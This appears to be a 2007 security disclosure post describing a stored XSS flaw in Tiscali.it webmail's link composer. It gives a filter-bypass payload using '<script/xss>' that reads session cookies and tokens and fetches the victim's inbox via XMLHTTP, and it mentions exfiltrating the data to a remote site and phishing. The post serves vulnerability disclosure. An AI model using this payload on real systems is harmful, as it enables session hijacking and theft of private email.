<p><a href="http://Tiscali.it">Tiscali.it</a> (big italian ISP) webmail is affected by a severe vulnerability; in the email composer a user is allowed to insert a hyperlink specifying<br>the link URL. This feature can be used to inject malicious HTML code in the form, allowing the execution of arbitrary code.
<br>On the submitted URL some security checks are performed (&quot;&lt;script&quot;, &quot;script&gt;&quot;,&quot;&lt;script&gt;&quot;,&quot;javascript&quot; and similar tokens are intercepted, but &quot;&lt;script/xss&gt;&quot; isn&#39;t...).
<br>So it is possible to find a XSS vector that breaks the controls; here is an example:</p>
<p>&#39;&#39;;!--&lt;XSS&gt;&lt;/A&gt;&lt;script/xss&gt;<br>var c=document.cookie; alert(c);<br>s=c.substring(c.indexOf(&#39;ssoUser&#39;)+8,c.indexOf(&#39;ssoDomain&#39;)-2);alert(s);<br>t=c.substring(c.indexOf(&#39;ssoToken=&#39;)+9,
c.indexOf(&#39;ssoToken=&#39;)+21);alert(t); <br>mailurl=unescape(&#39;/cp/ps/Mail/EmailList?search=%26sh=%26d=tiscali.it%26fi=1%26sd=Desc%26an=&#39;+s+&#39;%26l=it%26fp=INBOX%26sc=%26u=&#39;+s+&#39;%26t=&#39;+t+&#39;%26ss=&#39;
);<br>xmlhttp = new ActiveXObject(&#39;Msxml2.XMLHTTP&#39;); <br>xmlhttp.open(&#39;GET&#39;,mailurl,true);<br>xmlhttp.onreadystatechange = checkData;<br>xmlhttp.send(null);<br>function checkData(){alert(xmlhttp.readyState
);if (xmlhttp.readyState == 4)&nbsp; { alert(xmlhttp.responseText); }}<br>&lt;/script/xss&gt; </p>
<p>When the email with the malicious link is opened by the victim (no interaction required), the following events occur:</p>
<div>- the cookie, username and sessionId are alerted<br>- using the cookie data, an XMLHTTPRequest is made to the EmailList page that contains preview of the first N e-mails in the victim account (in the PoC I used INBOX, but all folders can be used)
<br>- the html content of the retrieved page is alerted (the page contains among &lt;div-0&gt;..&lt;div-n&gt; tags,&nbsp; the mail&nbsp;preview information fields&nbsp;(&quot;from:&quot;, &quot;subject&quot;, &quot;date&quot;, etc.).</div>

<div>&nbsp;</div>
<div>Going further it is as well possible to:<br>- access the detailed content of&nbsp;each email<br>- access the contacts of the victim<br>- load arbitrary pages in the mailList iframe (possible phishing), using location.href
 attribute</div>
<p>All the informations retrieved could be easily sent to a remote site, so allowing the attacker to spy the victim&#39;s mail activities.</p>
<div>Vuln discovered: 14/04/07<br>Vuln reported to portal owner 15/04/07 - No aswer yet</div>
<div>&nbsp;</div>
<div>Greetings,</div>
<div>Rosario Valotta</div>
<div>&nbsp;</div>
<div>[rosario dot valotta at gmail dot com]</div>